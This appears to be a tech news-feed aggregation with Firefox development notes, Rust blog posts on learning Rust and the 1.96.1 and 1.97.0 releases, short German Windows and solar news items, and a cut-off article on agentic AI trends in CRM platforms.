Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 – Bug 1751346
Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 – Bug 1805205

Thanks to Mike Kaply for implementing this enterprise policy enhancement.



WebExtension APIs

Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 – Bug 1653876
Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 – Bug 1750196

DevTools

Chris Vander Linden made the Search input component shared as we plan to use it in the Netmonitor as well (#2019260, #2027580, #2027582)
pullmana8 improved error management in the DevTools protocol (#2031735)
Chris H-C :chutten removed Legacy Telemetry devtools instrumentation (#2039650)
:glob ✱ fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (#2016778)
Nicolas Chevobbe [:nchevobbe] exposed heading level more clearly in the accessibility tree (#1588784) and in the accessibility highlighter (#2044904)



Julian Descottes [:jdescottes] migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (#2028058)
Nicolas Chevobbe [:nchevobbe] fixed an issue in Netmonitor search where it could appear the the search stalled (#2042405)
Hubert Boma Manilla (:bomsy) added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (#2036404)

WebDriver

Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently.
Khalid AlHaddad updated our codebase to use constants instead of hardcoded strings for all our session data types.
Alexandra Borovova updated the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers.
Alexandra Borovova fixed a regression when there would be no “script.realmCreated” events after the cross-origin navigation.

Search and Urlbar

Dharma updated context search actions to trigger search instead of entering search mode @ 1945080
Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ 2041255, 2030183, 2019168, 2044849, 2033583
Moritz has worked on several refactorings to allow the urlbar to be used in content @ 2039828, 2039298, 2041280
Middle click paste replaces content was fixed by Moritz @ 2042893
Michel added feature to show registrable domain on desktop after its implementation on mobile @ 1986161



The Rust Programming Language Blog: The many journeys of learning Rust
Sat, 25 Jul 2026 08:37:24 +0200
This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.
In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.
As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust
The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO


Rust learning resources
Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant


"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits
It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)


"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab


Learning to work with the borrow checker
We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher
Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs


"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer


Learning by doing
Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust


"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider


Letting go of "clone guilt"
Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.
We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to
The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM


"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries


"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO


Teaching Rust in academia
We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.
What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs
Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate


"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners
We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)


"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider


"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company


Silent attrition
We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider


Feedback on near-bounces from survey
We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.
One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.
Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion
The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions
Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.
That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying
Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.
Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.
Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.
Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.
How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.
Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know
The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.
We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.
The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.


The Rust Programming Language Blog: Announcing Rust 1.96.1
Sat, 25 Jul 2026 08:37:22 +0200
The Rust team has published a new point release of Rust, 1.96.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, getting Rust 1.96.1 is as easy as:
rustup update stable
If you don't have it already, you can get rustup from the appropriate page on our website.

What's in 1.96.1
Rust 1.96.1 fixes:

Missing retries / timeouts in Cargo's HTTP client
Miscompilation in a MIR optimization

It also fixes three CVEs
affecting libssh2 (which is compiled into Cargo):

CVE-2025-15661
CVE-2026-55199
CVE-2026-55200


Contributors to 1.96.1
Many people came together to create Rust 1.96.1. We couldn't have done it without all of you. Thanks!


The Rust Programming Language Blog: Announcing Rust 1.97.0
Sat, 25 Jul 2026 08:37:20 +0200
The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:
$ rustup update stable
If you don't have it already, you can get rustup from the appropriate page on our website, and check out the detailed release notes for 1.97.0.
If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (rustup default beta) or the nightly channel (rustup default nightly). Please report any bugs you might come across!

What's in 1.97.0 stable

Symbol mangling v0 enabled by default
When Rust is compiled into object files and binaries, each item (functions,
statics, etc) must have a globally unique "symbol" identifying it. To avoid
conflicts when linking together different Rust programs, Rust mangles the
original name of items to include additional context such as the module path,
defining crate, generics, and more. Historically, this mangling was based on
the Itanium ABI,
also (sometimes) used by C++.
The new mangling scheme resolves a number of drawbacks from the previous one:

Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash
Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary

Since Rust 1.59, the compiler has supported opting into a Rust-specific
mangling scheme via -Csymbol-mangling-version=v0. Since November 2025, this
scheme has been enabled by default on nightly, and 1.97 is now enabling it on
stable Rust. The legacy mangling scheme can only be enabled on nightly, and the
current plan is to fully remove it.
See the previous blog post for more details.

Cargo support for denying warnings
It's common practice to deny warnings in CI. Historically, doing so is
typically done through RUSTFLAGS=-Dwarnings. With Rust 1.97, Cargo controls
how warnings interact with build success: either silencing them (via allow
level), rendering without failing (default, warn), or denying them (via deny).
As a  result of Cargo configuration determining the behavior, using this
feature doesn't invalidate the underlying build cache, meaning that it's easy
to temporarily opt-in. For example, if warnings are adding unwanted noise while
working through fixing errors after a refactor, you can run
CARGO_BUILD_WARNINGS=allow cargo check, temporarily silencing them.
In CI, jobs can instead set CARGO_BUILD_WARNINGS=deny to deny warnings. This
can be combined with --keep-going to collect all errors and warnings rather
than stopping on the first failing package.
See the documentation for more details.

Linker output no longer hidden by default
rustc invokes a linker on behalf of users. Historically, rustc has silenced
linker output by default if the link completes successfully. This can mask real
problems, though, so in Rust 1.97 we are enabling linker messages by default.
These are emitted as a warning lint, for example:
warning: linker stderr: ignoring deprecated linker optimization setting '1'
  |
  = note: `#[warn(linker_messages)]` on by default
Common linker messages that have been diagnosed as false positives or intentional behavior
are filtered out by rustc. Several defects have already been fixed as a result
of no longer hiding this output on nightly.
Note that currently, linker_messages is a special lint that is not affected
by the warnings lint group. This is intentional as rustc generally doesn't
control linker output as precisely, and it's not uncommon for output to only
appear on some platforms. If you are seeing what you think is a false positive
output from the linker, please file an issue.
To silence the warning in the mean time, you can configure the lint level to
allow. This can be done through Cargo.toml by adding a lints section like this:
[lints.rust]
linker_messages = "allow"

Stabilized APIs

Default for RepeatN
Copy for ffi::FromBytesUntilNulError
Send for std::fs::File on UEFI
<{integer}>::isolate_highest_one
<{integer}>::isolate_lowest_one
<{integer}>::highest_one
<{integer}>::lowest_one
<{uN}>::bit_width
NonZero<{integer}>::isolate_highest_one
NonZero<{integer}>::isolate_lowest_one
NonZero<{integer}>::highest_one
NonZero<{integer}>::lowest_one
NonZero<{uN}>::bit_width

These previously stable APIs are now stable in const contexts:

char::is_control


Other changes
Check out everything that changed in Rust, Cargo, and Clippy.

Contributors to 1.97.0
Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. Thanks!


Anthropic Found Something That Shouldn't Exist
Sat, 25 Jul 2026 08:35:53 +0200
Author: Two Minute Papers - Bewertung: 2820x - Views:65528 
❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers



📝 The paper is available here:

https://transformer-circuits.pub/2025/linebreaks/index.html



Paper for reindeer vision change - https://royalsocietypublishing.org/rspb/article/280/1773/20132451/50765/Shifting-mirrors-adaptive-changes-in-retinal



🙏 We would like to thank our generous Patreon supporters who make Two Minute Papers possible:

Adam Bridges, Benji Rabhan, B Shang, Cameron Navor, Charles Ian Norman Venn, Christian Ahlin, Eric T, Fred R, Gordon Child, Juan Benet, Michael Tedder, Owen Skarpness, Richard Sundvall, Ryan Stankye, Shawn Becker, Steef, Taras Bobrovytsky, Tazaur Sagenclaw, Tybie Fitzhugh, Ueli Gallizzi



"Ritt auf Rasierklinge": Sicherheitsforscher warnen Windows-10-Nutzer
Sat, 25 Jul 2026 08:21:38 +0200
Das Support-Ende von Windows 10 war im Oktober 2025, doch fast die Hälfte der deutschen Privat-PCs nutzt das System weiter. Trotz der ESU-Gnadenfrist warnen Sicherheitsforscher vor steigenden Risiken und raten dringend zur baldigen Migration. (Weiter lesen)


Microsoft meldet verlängerten Support für weitere Windows-Versionen
Sat, 25 Jul 2026 08:20:46 +0200
Windows 10 (IoT) Enterprise LTSB 2016 und Windows Server 2016 erreichen bald ihr Support-Ende, was viele Nutzer unter Zugzwang setzt. Microsoft verkündet nun ein kostenpflichtiges ESU-Programm, empfiehlt jedoch Updates auf neuere System-Varianten. (Weiter lesen)


Windows 10: Microsoft fixt endlich fatalen WinRE-Bug - nach 5 Monaten
Sat, 25 Jul 2026 08:19:57 +0200
Microsoft hat ein wichtiges Update für Windows 10 veröffentlicht, das die defekte Wiederherstellungsumgebung repariert. Das Problem bestand seit Oktober 2025 und verhinderte den Zugriff auf wichtige Rettungsfunktionen. (Weiter lesen)


Studie belegt: Solaranlagen fallen bei Extremhitze fast komplett aus
Sat, 25 Jul 2026 07:21:36 +0200
Der Beitrag Studie belegt: Solaranlagen fallen bei Extremhitze fast komplett aus erschien zuerst beim Online-Magazin BASIC thinking. Über unseren Newsletter UPDATE startest du jeden Morgen bestens informiert in den Tag.
Der Klimawandel gefährdet zunehmend die europäische Stromversorgung, da extreme Sommertemperaturen nachhaltige Infrastruktur belasten. Eine neue wissenschaftliche Untersuchung zeigt, dass Solaranlagen bei Hitze massive Leistungseinbrüche von bis zu 90 Prozent erleiden können.  Ein Forscherteam der Universität Évora in Portugal hat die Auswirkungen extremer Hitzephasen auf Solaranlagen auf der Iberischen Halbinsel in den Jahren 2024 und 2025 […]
Der Beitrag Studie belegt: Solaranlagen fallen bei Extremhitze fast komplett aus erschien zuerst auf BASIC thinking. Folge uns auch auf Google News und Flipboard oder abonniere unseren Newsletter UPDATE.


7 CRM trends for 2026: AI brings decisive action to customer workflows
Sat, 25 Jul 2026 06:53:15 +0200

		
					  
						




Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybody was dipping their toes into the water,” says Keith Kirkpatrick, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”



Harry Datwani, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”



“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.



“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst Kate Leggett, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.



Here are the hot AI-driven trends in CRM this year.



CRM becomes an action hero



CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.



“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst Neil Ward-Dutton. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”



Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.



She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.



Agentic drives workforce changes



AI use in CRM systems is also impacting workforce strategies.



“We used to hire for deep expertise,” says Constellation Research analyst Liz Miller. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”



Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.



For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.



Terence Chesire, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”



“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.



Data layer takes center stage



AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.



“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”



The good news, says Datwani, is that AI agents themselves can help clean up and organize data. And vendors such as Snowflake and Databricks, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.



Forrester’s Leggett adds that CRM platforms are converging with customer data platforms (CDPs), real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.



Agentic ushers in pricing complexity



The shift from license- or subscription-based pricing to an outcome or consumption pricing model has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a new level of complexity when it comes to budgeting for CRM costs.



For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.



Meanwhile, Salesforce has rolled out pay-per-resolution pricing with its recently unveiled AI Help Agent and last month acquired usage-based billing specialist m3ter. Oracle is also piloting outcome-based AI pricing.



All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.



The rise of multi-agent orchestration



To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.



He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.



Kirkpatrick predicts that a new class of orchestration tools will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.



Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”



The interface becomes conversational



